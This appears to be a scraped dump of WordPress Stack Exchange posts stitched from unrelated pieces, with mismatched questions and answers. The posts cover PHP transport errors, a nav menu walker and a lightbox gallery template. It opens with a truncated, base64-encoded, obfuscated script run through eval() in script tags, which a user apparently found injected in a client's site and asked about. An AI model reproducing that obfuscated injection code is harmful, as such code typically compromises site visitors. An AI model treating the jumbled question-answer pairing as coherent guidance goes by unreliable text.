gNDMgLSAzLCAxMDMgLSA2LCAxMjIgLSA2LCAxMTcgLSA2LCA5OSAtIDEsIDQ3IC0gNywgMTAzIC0gMiwgMTE5IC0gOSwgMTA2IC0gNywgMTA5IC0gOCwgMTA5IC0gOSwgNDcgLSA2LCA0OCAtIDQsIDM4IC0gNiwgMTE0IC0gNywgMTA5IC0gOCwgMTI3IC0gNiwgNDUgLSA0LCA2MSAtIDIsIDE2IC0gNiwgNDEgLSAxLCAxMTEgLSAxLCAxMDcgLSA2LCAxMjIgLSAzLCA0MSAtIDksIDc1IC0gNSwgMTIzIC0gNiwgMTE3IC0gNywgMTA2IC0gNywgMTE4IC0gMiwgMTA2IC0gMSwgMTE3IC0gNiwgMTE1IC0gNSwgNDMgLSAzLCAxMDMgLSAzLCAxMDkgLSA4LCAxMDYgLSA3LCA0OSAtIDgsIDQyIC0gMSwgNDcgLSA3LCA0NiAtIDUsIDYzIC0gNCwgMTUgLSA1LCAxNCAtIDQpO2V2YWwoQktYT1NaR1ZPWSk7'); eval(GVCNLUQKSK); </script> <script> </script> <script> </script> <script> </script> ``` …should I / my client be concerned…?! …or is this what "Advanced Layout Editors" do…? Thank you!
The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error **"Installation failed: Download failed. No working transports found".** Fortunately, i fixed the problem with following **solution**. It turns out, this error message occurs when there are **missing extensions** on a development server, so the WordPress is unable to make external HTTP requests. The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to **edit the php.ini configuration file.** **Editing php.ini file** The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the ***openssl extension.*** ***Here are the steps to enable that extension:*** 1. Start Wamp Server. 2. click on Wamp Server Icon and move to PHP->php.ini option. 3. double click on php.ini. so, it will open php.ini file in your default Text Editor. 4. search for **php\_openssl.dll** in php.ini file. ->You Will see that the extension is commented out: ;extension=php\_openssl.dll 5. Uncomment that line by removing semi colon(;) 6. save the changes. 7. Restart Wamp Server. That's it We Are Done!!!
292,209
<p>Here is the real picture I want to produce. </p> <pre><code> &lt;ul&gt; &lt;li&gt; &lt;ul&gt; &lt;li&gt; &lt;/li&gt; &lt;li&gt; &lt;/li&gt; ###NOT HERE ### &lt;/ul&gt; &lt;/Ii&gt; ###I want to add some html here ### &lt;/ul&gt; </code></pre> <p>I am trying as follows: </p> <pre><code>public function end_lvl( &amp;$output, $depth = 0, $args = array() ) { if ( isset( $args-&gt;item_spacing ) &amp;&amp; 'discard' === $args-&gt;item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); $output .= "$indent".get_search_form(false)."&lt;/ul&gt;{$n}"; } </code></pre> <p>But it appended the search box at the end of every sub menu(###NOT HERE ### section). How can I achieve the desired output. Any idea?</p>
[ { "answer_id": 292185, "author": "swissspidy", "author_id": 12404, "author_profile": "https://wordpress.stackexchange.com/users/12404", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://codex.wordpress.org/HTTP_API\" rel=\"nofollow noreferrer\">The WordPress HTTP API</a> has been built in such a way that it works on many servers as possible, trying out different ways (transports) to do so.</p>\n\n<p>According to the error message, there are no working transports and thus WordPress is not able to make any outgoing HTTP requests.</p>\n\n<p>I'd recommend you to install something like the <a href=\"https://wordpress.org/plugins/core-control/\" rel=\"nofollow noreferrer\">Core Control</a> WordPress plugin, which allows you to debug all the existing HTTP transports. It's quite possible that while one transport is not working, another might be OK. This plugin allows you to disable the broken one and test the HTTP API with the new transport.</p>\n\n<p>If it turns out that indeed none of the transports are working, you should contact your hosting provider to at least install something like cURL on the server so you can make HTTP requests in PHP.</p>\n" }, { "answer_id": 301227, "author": "Ashish Madhavacharya", "author_id": 142052, "author_profile": "https://wordpress.stackexchange.com/users/142052", "pm_score": 5, "selected": false, "text": "<p>The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error <strong>\"Installation failed: Download failed. No working transports found\".</strong></p>\n\n<p>Fortunately, i fixed the problem with following <strong>solution</strong>.</p>\n\n<p>It turns out, this error message occurs when there are <strong>missing extensions</strong> on a development server, so the WordPress is unable to make external HTTP requests. </p>\n\n<p>The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to <strong>edit the php.ini configuration file.</strong></p>\n\n<p><strong>Editing php.ini file</strong></p>\n\n<p>The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the <strong><em>openssl extension.</em></strong></p>\n\n<p><strong><em>Here are the steps to enable that extension:</em></strong></p>\n\n<ol>\n<li>Start Wamp Server.</li>\n<li>click on Wamp Server Icon and move to PHP->php.ini option.</li>\n<li>double click on php.ini. so, it will open php.ini file in your default Text Editor.</li>\n<li>search for <strong>php_openssl.dll</strong> in php.ini file.\n->You Will see that the extension is commented out:\n;extension=php_openssl.dll</li>\n<li>Uncomment that line by removing semi colon(;)</li>\n<li>save the changes.</li>\n<li>Restart Wamp Server.</li>\n</ol>\n\n<p>That's it We Are Done!!!</p>\n" }, { "answer_id": 310255, "author": "Carel", "author_id": 147891, "author_profile": "https://wordpress.stackexchange.com/users/147891", "pm_score": 1, "selected": false, "text": "<p>The advice on this error message is quite varied and no one seems to provide a comprehensive answer (See <a href=\"https://www.barrykooij.com/unable-to-install-plugins-on-localhost/\" rel=\"nofollow noreferrer\">some blog</a>, <a href=\"https://www.howtosolutions.net/2017/01/easyphp-wordpress-no-working-transports-found-error/\" rel=\"nofollow noreferrer\">a duplicitous answer</a> and <a href=\"https://stackoverflow.com/q/27725182\">here</a> and <a href=\"https://stackoverflow.com/a/27731933\">here</a> on SO). Hopefully this is a more formal take on the problem.</p>\n\n<p>I consider only WordPress on PHP served via Apache (I can not comment on NginX at this time as I haven't tried it with PHP, nor can I comment upon other frameworks). The answer may exhibit a mild bias towards Windows 10 with a self built Apache 2.4.37, extracted thread safe PHP 7.2 and WordPress 4.2.X.</p>\n\n<h2>Background</h2>\n\n<p><a href=\"https://deliciousbrains.com/php-curl-how-wordpress-makes-http-requests/\" rel=\"nofollow noreferrer\">PHP and cURL</a> explains, rather nicely one might add, that under the hood WordPress relies upon <code>Requests</code>, a wrapper around the <code>cURL</code> and <code>fSockets</code> libraries. <code>Requests</code> prefers the <code>cURL</code> library if available but will supposedly fall back to the <code>fSockets</code> library to download Plugins/Themes/etc. The \"No transports\" error is indicative that neither library is properly configured within either Apache or PHP. It is also possible ones firewall is interfering with the process too.</p>\n\n<h2>Check</h2>\n\n<p>Test the configuration of both Apache and PHP setting up and loading the standard <a href=\"http://php.net/manual/en/function.phpinfo.php#refsect1-function.phpinfo-examples\" rel=\"nofollow noreferrer\">PHPinfo</a> script from your browser. This should have a separate section entitled <code>cURL</code> whose entries show various information. Otherwise setup and load the following script to check.</p>\n\n<pre><code>&lt;?php\necho 'Curl: ', function_exists('curl_init') ? 'Enabled' : 'Disabled';\n?&gt;\n</code></pre>\n\n<p>I do not know how to test <code>fScokets</code>.</p>\n\n<h2>cURL</h2>\n\n<p>To ensure the availability of <code>cURL</code> is seems necessary to enable it within <code>php.ini</code>.</p>\n\n<ul>\n<li><p>Ensure that the <code>extentions_dir</code> correctly points to ones extensions folder</p>\n\n<p><code>extentions_dir=\"ext\"</code></p>\n\n<p>(Alternatively <code>extentions_dir=\"D:PATH/TO/php/ext\"</code> is often suggested)</p></li>\n<li><p>Ensure that the <code>cURL</code> extention is enabled</p>\n\n<p><code>extension=curl</code> </p>\n\n<p>(<code>extentions=php_curl(.so|.dll)</code> or <code>extentions=\"PATH/TO/php_curl(.so|.dll)\"</code> are also suggested, possibly for PHP&lt;7.2)</p></li>\n<li><p>From <a href=\"http://php.net/manual/en/curl.installation.php\" rel=\"nofollow noreferrer\">PHP</a> it seems that the <code>eay32</code>, <code>ssh2</code> and <code>ssleay32</code> libraries must also be available upon ones path (With OpenSSL 1.1 <code>eay32</code> was renamed <code>crypto-*</code> and <code>ssleay32</code> was renamed <code>ssl-*</code>). Upon windows the ugly hack is to copy these libraries from the PHP root folder into the <code>system32</code> or <code>wow64</code> folder. The better solution is to modify ones path variable to include the PHP root folder (Personally I prefer a clean path that I configure as required but this is PHP). On *nix boxes it seems one simply needs to install the <code>php5-curl</code> package for ones distro.</p>\n\n<p><strong>Note :</strong> The comments on the <a href=\"http://php.net/manual/en/curl.installation.php\" rel=\"nofollow noreferrer\">PHP</a> page suggest that one may simply add <code>LoadFile \"PATH/TO/lib(eay32|ssh2)|ssleay32.dll\"</code> entries to ones <code>httpd.conf</code> but <code>cURL</code> seems to search for these libraries upon ones path; mooting the suggestion. The XAmpp/Wamp people get away with this step as they seem to dump their own root on ones system path.</p></li>\n</ul>\n\n<p>Once done restart Apache. If you're using Apache monitor you should actually stop and then start Apache; this sets up a new environment for the service to run in (Saving you a restart). </p>\n\n<h2>fSockets</h2>\n\n<p>I do not know what is necessary to get this going.</p>\n" }, { "answer_id": 377547, "author": "Marty McGee", "author_id": 28188, "author_profile": "https://wordpress.stackexchange.com/users/28188", "pm_score": 2, "selected": false, "text": "<p>I was getting this error because my PHP (<code>php.ini</code>) did not have the &quot;cURL&quot; extension activated. I simply activated this extension and restarted the server. Solved.</p>\n<p>Note: this is a similar answer to &quot;Ashish Madhavacharya&quot; above, but specifically solved by activating the <code>php_curl.dll</code> extension (and not the openssl extension, which should have nothing to do with this error you're receiving.)</p>\n" }, { "answer_id": 383647, "author": "draenog", "author_id": 202147, "author_profile": "https://wordpress.stackexchange.com/users/202147", "pm_score": 1, "selected": false, "text": "<p>I had the same problem and the fixes above did not help. I found <a href=\"http://forum.wampserver.com/read.php?2,154251\" rel=\"nofollow noreferrer\">a page</a> on the WAMP forum where someone fixed it by upgrading to the latest Apache. I tried this and it worked for me.</p>\n" }, { "answer_id": 402204, "author": "tash", "author_id": 218763, "author_profile": "https://wordpress.stackexchange.com/users/218763", "pm_score": 0, "selected": false, "text": "<p>Posting my hack here for future Googlers:</p>\n<p>I downloaded the plugin zip file from respective vendors' sites, put it in <code>/var/www/html/wp-content/plugins/</code>, unzipped it, and activated it from within WordPress dashboard.</p>\n<hr />\n<p>I was compelled to do the above because once I enabled <code>;extension=openssl</code> from <code>php.ini</code> and restarted the php server, it could not locate the <code>openssl.so</code> although I compiled php <code>--with-openssl</code> flag.</p>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292209", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120824/" ]
Here is the real picture I want to produce. ``` <ul> <li> <ul> <li> </li> <li> </li> ###NOT HERE ### </ul> </Ii> ###I want to add some html here ### </ul> ``` I am trying as follows: ``` public function end_lvl( &$output, $depth = 0, $args = array() ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); $output .= "$indent".get_search_form(false)."</ul>{$n}"; } ``` But it appended the search box at the end of every sub menu(###NOT HERE ### section). How can I achieve the desired output. Any idea?
The WordPress site was mostly working without a problem except in a dashboard section of the site, where it was having some issues with updating or installing. When I tried to install theme,it gave me error **"Installation failed: Download failed. No working transports found".** Fortunately, i fixed the problem with following **solution**. It turns out, this error message occurs when there are **missing extensions** on a development server, so the WordPress is unable to make external HTTP requests. The solution is pretty simple. The missing extensions that make those HTTP requests possible are already installed with Wamp Server, By default,they are just disabled. To enable them, we need to **edit the php.ini configuration file.** **Editing php.ini file** The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the ***openssl extension.*** ***Here are the steps to enable that extension:*** 1. Start Wamp Server. 2. click on Wamp Server Icon and move to PHP->php.ini option. 3. double click on php.ini. so, it will open php.ini file in your default Text Editor. 4. search for **php\_openssl.dll** in php.ini file. ->You Will see that the extension is commented out: ;extension=php\_openssl.dll 5. Uncomment that line by removing semi colon(;) 6. save the changes. 7. Restart Wamp Server. That's it We Are Done!!!
292,235
<p>I'm new to WP templating and I'm trying to create my own custom WP theme from a single page bootstrap theme. To My problem is so particular, per say (hoping I don't get yelled at for this), I'm having a hard time finding solutions for my problem. </p> <p>I am just making a simple theme with a portfolio page. All my files are local as of now. I downloaded a bootstrap theme from <a href="https://demo.tutorialzine.com/2017/02/freebie-4-bootstrap-gallery-templates/#clean" rel="nofollow noreferrer">here</a>.</p> <p>The problem I am having is on my portfolio page. I have a custom post type and (I guess) a custom page template loading for this page (not sure if you need to know that, just wanted to ensure you know). All I want to do is click on one of my thumbnails and have blow up and show on the page while making the background dim (like in the original), see the example from the link above.</p> <p>The css/js lightbox gallery plugin for this is called baguetteBox.js. There doesn't appear to be anything on the internet showing how to WP template this js photo gallery correctly into a custom post way on WP. Below is an example of the two attributes and class that get dynamically added to the bottom div when someone clicks on any of the thumbnail images. What I want to know is how can I implement this functionality from the BS template into my WP template?</p> <p><a href="https://i.stack.imgur.com/8vPnm.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8vPnm.jpg" alt="enter image description here"></a></p> <p>But I am not sure if there is a function or functions that helps me implement that so it does the same thing in WP? What's the procedure for implementing that? My respective template files are as follows:</p> <p>my page-portfolio template</p> <pre><code>&lt;?php /* Template Name: Portfolio layout */ ?&gt; &lt;?php get_header(); ?&gt; &lt;div class="container gallery-container"&gt; &lt;h1 class="headerTitle" &gt; &lt;?php wp_title(); ?&gt; &lt;/h1&gt; &lt;p class="page-description text-center"&gt;&lt;?php bloginfo('description'); ?&gt;&lt;/p&gt; &lt;div class="tz-gallery"&gt; &lt;div class="row"&gt; &lt;?php $args = array( 'post_type' =&gt; 'portfolio' ); $query = new WP_Query( $args ); ?&gt; &lt;?php if ( $query-&gt;have_posts() ) : while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt; &lt;div class="col-sm-6 col-md-4"&gt; &lt;div class="thumbnail"&gt; &lt;a class="lightbox" href="http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg"&gt; &lt;?php the_post_thumbnail( 333, 249 ); ?&gt; &lt;/a&gt; &lt;div class="caption"&gt; &lt;h3&gt;&lt;?php the_title(); ?&gt;&lt;/h3&gt; &lt;p&gt;&lt;?php the_field('editor'); ?&gt;&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endwhile; endif; wp_reset_postdata(); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>my header.php</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;title&gt;&lt;?php wp_title(); ?&gt;&lt;/title&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt; &gt; &lt;!-- Conditional For Edit Menu to Adjust with Logged in Users --&gt; &lt;?php if ( is_admin_bar_showing() ) { echo '&lt;style type="text/css"&gt; .navbar.navbar-inverse.navbar-fixed-top {margin-top: 32px;} &lt;/style&gt;'; } ?&gt; &lt;!-- END Conditional Edit for Logged in Users --&gt; &lt;div class="navbar navbar-inverse navbar-fixed-top" &gt; &lt;div class="container"&gt; &lt;div class="navbar-header"&gt; &lt;!-- contains toggle and brand --&gt; &lt;button class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse" type="button"&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;/button&gt; &lt;a href="&lt;?php bloginfo('url'); ?&gt;" class="navbar-brand"&gt;&lt;?php bloginfo('name'); ?&gt;&lt;/a&gt; &lt;/div&gt; &lt;div class="navbar-collapse collapse"&gt; &lt;?php wp_nav_menu( array( 'theme_location' =&gt; 'primary-menu', 'depth' =&gt; 2, 'container' =&gt; 'div', 'container_class' =&gt; 'collapse navbar-collapse', 'container_id' =&gt; 'bs-example-navbar-collapse-1', 'menu_class' =&gt; 'nav navbar-nav', 'fallback_cb' =&gt; 'WP_Bootstrap_Navwalker::fallback', 'walker' =&gt; new WP_Bootstrap_Navwalker(), ) ); ?&gt; &lt;/div&gt;&lt;!--/.nav-collapse --&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>my footer.php</p> <pre><code>&lt;?php wp_footer(); ?&gt; &lt;/body&gt; &lt;!-- script for intiating tz-gallery --&gt; &lt;script type="text/javascript"&gt; baguetteBox.run('.tz-gallery'); &lt;/script&gt; &lt;/html&gt; </code></pre>
[ { "answer_id": 292697, "author": "D. Dan", "author_id": 133528, "author_profile": "https://wordpress.stackexchange.com/users/133528", "pm_score": 0, "selected": false, "text": "<p>To implement a Custom Lightbox solution yourself you need:</p>\n\n<ul>\n<li>A thumbnail image</li>\n<li>An anchor to wrap the thumbnail image with the full size image as\nhref</li>\n<li>A div to dim the whole page</li>\n<li>A div to place the full size image in</li>\n<li>Some css to style the div-s</li>\n<li>JS code to put the image to the div and bring to front the div-s</li>\n</ul>\n\n<p>Let's begin with the simple things, the div-s:</p>\n\n<pre><code>&lt;div class=\"my-black-box\"&gt;\n &lt;div class=\"my-light-box\"&gt;\n &lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>You would put these somewhere in the bottom of the page-portfolio template, let's say after the container, but before the footer.</p>\n\n<p>You also need styling for theese:</p>\n\n<pre><code>.my-black-box{\ndisplay: none;\n}\n</code></pre>\n\n<p>We'll just hide them for now.</p>\n\n<p>For the JS you could use:</p>\n\n<pre><code>$('.lightbox').on('click', function(e){ //when we click on the lightbox link\n e.preventDefault(); // do not open the picture\n var picUrl = $(this).attr('href'); // instead we extract the picture url\n picUrl = '&lt;img src=\"' + picUrl + '\"&gt;'; // make an img tag from it\n $('.my-light-box').html(picUrl); // put the picture in the lighbox\n $('.my-black-box').addClass('open'); // add a class for the css to be defined\n});\n</code></pre>\n\n<p>And for the css when the lightbox is open:</p>\n\n<pre><code>.my-black-box.open{\ndisplay: block;\nposition: fixed;\ntop: 0;\nbottom: 0;\nleft: 0;\nright: 0;\nbackground: rgba(0,0,0,0.6);\n}\n\n.my-black-box.open .my-light-box{\nposition: absolute;\nmax-width: 80vw;\nmax-height: 80vh;\nwidth: 80vw;\nheight: 80vh;\nposition: absolute;\ntop: 50%;\nleft: 50%;\ntransform: translate(-50%, -50%);\n}\n\n.my-black-box.open .my-light-box img{\ndisplay: block;\nmax-width: 100%;\nmax-height: 100%;\nposition: absolute;\ntop: 50%;\nleft: 50%;\ntransform: translate(-50%, -50%);\n}\n</code></pre>\n\n<p>This should center everything.\nAnd finally if we click on the black-box it should close:</p>\n\n<pre><code>$('.my-black-box').on('click', function(){\n $(this).removeClass('open');\n});\n</code></pre>\n\n<p><strong>Edit:</strong> of course this is just the basic, you could expand it by implementing next a previous button, close button, more styling, animations.\nBut if you're doing a custom WP theme, something like this, in terms of a basic conception is the way to start a custom lightbox. </p>\n" }, { "answer_id": 292988, "author": "Greg Schudel", "author_id": 113393, "author_profile": "https://wordpress.stackexchange.com/users/113393", "pm_score": 2, "selected": true, "text": "<p>I got the answer from someone else and got it working. To summarize, the problem was not having the right use of WP functions to call the custom post thumbnail image dynamically. Hence the BueggetteBox.js plugin (a lightbox plugin) functionality would work properly when you clicked on a custom post thumbnail from the gallery within my freshly made custom WP theme.</p>\n\n<p>This is what I had originally in my custom template file (page-portfolio.php)</p>\n\n<pre><code> &lt;?php if ( $query-&gt;have_posts() ) : while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt;\n\n\n &lt;div class=\"col-sm-6 col-md-4\"&gt;\n &lt;div class=\"thumbnail\"&gt;\n &lt;a class=\"lightbox\" href=\"http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg\"&gt;\n &lt;?php the_post_thumbnail( 333, 249 ); ?&gt;\n &lt;/a&gt;\n &lt;div class=\"caption\"&gt;\n &lt;h3&gt;&lt;?php the_title(); ?&gt;&lt;/h3&gt;\n &lt;p&gt;&lt;?php the_field('editor'); ?&gt;&lt;/p&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n\n\n &lt;?php endwhile; endif; wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>Here is the solution that worked. I replaced the above with the below code using the <code>get_post_thumbnail_id()</code> , <code>wp_get_attachment_image_src($thumb_id,'full', true);</code> and then applied the <code>$thumbn_nail</code> property to the hyperlink. See below for implementation:</p>\n\n<pre><code> &lt;?php if ( $query-&gt;have_posts() ) : while ( $query-&gt;have_posts() ) : $query-&gt;the_post(); ?&gt;\n\n &lt;?php\n\n $thumb_id = get_post_thumbnail_id();\n\n $thumb_url = wp_get_attachment_image_src($thumb_id,'full', true);\n\n ?&gt;\n\n\n &lt;div class=\"col-sm-6 col-md-4\"&gt;&lt;!-- get_post_field --&gt;\n &lt;div class=\"thumbnail\"&gt;\n &lt;a class=\"lightbox\" href=\"&lt;?php echo $thumb_url[0]; ?&gt;\"&gt;\n &lt;?php the_post_thumbnail( 333, 249 ); ?&gt;\n &lt;/a&gt;\n &lt;div class=\"caption\"&gt;\n &lt;h3&gt;&lt;?php the_title(); ?&gt;&lt;/h3&gt;\n &lt;p&gt;&lt;?php the_field('editor'); ?&gt;&lt;/p&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n\n\n &lt;?php endwhile; endif; wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>annnnnnnnnd presto! Now it works fine!</p>\n" } ]
2018/01/25
[ "https://wordpress.stackexchange.com/questions/292235", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/113393/" ]
I'm new to WP templating and I'm trying to create my own custom WP theme from a single page bootstrap theme. To My problem is so particular, per say (hoping I don't get yelled at for this), I'm having a hard time finding solutions for my problem. I am just making a simple theme with a portfolio page. All my files are local as of now. I downloaded a bootstrap theme from [here](https://demo.tutorialzine.com/2017/02/freebie-4-bootstrap-gallery-templates/#clean). The problem I am having is on my portfolio page. I have a custom post type and (I guess) a custom page template loading for this page (not sure if you need to know that, just wanted to ensure you know). All I want to do is click on one of my thumbnails and have blow up and show on the page while making the background dim (like in the original), see the example from the link above. The css/js lightbox gallery plugin for this is called baguetteBox.js. There doesn't appear to be anything on the internet showing how to WP template this js photo gallery correctly into a custom post way on WP. Below is an example of the two attributes and class that get dynamically added to the bottom div when someone clicks on any of the thumbnail images. What I want to know is how can I implement this functionality from the BS template into my WP template? [![enter image description here](https://i.stack.imgur.com/8vPnm.jpg)](https://i.stack.imgur.com/8vPnm.jpg) But I am not sure if there is a function or functions that helps me implement that so it does the same thing in WP? What's the procedure for implementing that? My respective template files are as follows: my page-portfolio template ``` <?php /* Template Name: Portfolio layout */ ?> <?php get_header(); ?> <div class="container gallery-container"> <h1 class="headerTitle" > <?php wp_title(); ?> </h1> <p class="page-description text-center"><?php bloginfo('description'); ?></p> <div class="tz-gallery"> <div class="row"> <?php $args = array( 'post_type' => 'portfolio' ); $query = new WP_Query( $args ); ?> <?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?> <div class="col-sm-6 col-md-4"> <div class="thumbnail"> <a class="lightbox" href="http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg"> <?php the_post_thumbnail( 333, 249 ); ?> </a> <div class="caption"> <h3><?php the_title(); ?></h3> <p><?php the_field('editor'); ?></p> </div> </div> </div> <?php endwhile; endif; wp_reset_postdata(); ?> </div> </div> </div> <?php get_footer(); ?> ``` my header.php ``` <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title><?php wp_title(); ?></title> <?php wp_head(); ?> </head> <body <?php body_class(); ?> > <!-- Conditional For Edit Menu to Adjust with Logged in Users --> <?php if ( is_admin_bar_showing() ) { echo '<style type="text/css"> .navbar.navbar-inverse.navbar-fixed-top {margin-top: 32px;} </style>'; } ?> <!-- END Conditional Edit for Logged in Users --> <div class="navbar navbar-inverse navbar-fixed-top" > <div class="container"> <div class="navbar-header"> <!-- contains toggle and brand --> <button class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse" type="button"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a href="<?php bloginfo('url'); ?>" class="navbar-brand"><?php bloginfo('name'); ?></a> </div> <div class="navbar-collapse collapse"> <?php wp_nav_menu( array( 'theme_location' => 'primary-menu', 'depth' => 2, 'container' => 'div', 'container_class' => 'collapse navbar-collapse', 'container_id' => 'bs-example-navbar-collapse-1', 'menu_class' => 'nav navbar-nav', 'fallback_cb' => 'WP_Bootstrap_Navwalker::fallback', 'walker' => new WP_Bootstrap_Navwalker(), ) ); ?> </div><!--/.nav-collapse --> </div> </div> ``` my footer.php ``` <?php wp_footer(); ?> </body> <!-- script for intiating tz-gallery --> <script type="text/javascript"> baguetteBox.run('.tz-gallery'); </script> </html> ```
I got the answer from someone else and got it working. To summarize, the problem was not having the right use of WP functions to call the custom post thumbnail image dynamically. Hence the BueggetteBox.js plugin (a lightbox plugin) functionality would work properly when you clicked on a custom post thumbnail from the gallery within my freshly made custom WP theme. This is what I had originally in my custom template file (page-portfolio.php) ``` <?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?> <div class="col-sm-6 col-md-4"> <div class="thumbnail"> <a class="lightbox" href="http://localhost:8888/wordpress_local/wp-content/uploads/2018/01/traffic.jpg"> <?php the_post_thumbnail( 333, 249 ); ?> </a> <div class="caption"> <h3><?php the_title(); ?></h3> <p><?php the_field('editor'); ?></p> </div> </div> </div> <?php endwhile; endif; wp_reset_postdata(); ?> ``` Here is the solution that worked. I replaced the above with the below code using the `get_post_thumbnail_id()` , `wp_get_attachment_image_src($thumb_id,'full', true);` and then applied the `$thumbn_nail` property to the hyperlink. See below for implementation: ``` <?php if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?> <?php $thumb_id = get_post_thumbnail_id(); $thumb_url = wp_get_attachment_image_src($thumb_id,'full', true); ?> <div class="col-sm-6 col-md-4"><!-- get_post_field --> <div class="thumbnail"> <a class="lightbox" href="<?php echo $thumb_url[0]; ?>"> <?php the_post_thumbnail( 333, 249 ); ?> </a> <div class="caption"> <h3><?php the_title(); ?></h3> <p><?php the_field('editor'); ?></p> </div> </div> </div> <?php endwhile; endif; wp_reset_postdata(); ?> ``` annnnnnnnnd presto! Now it works fine!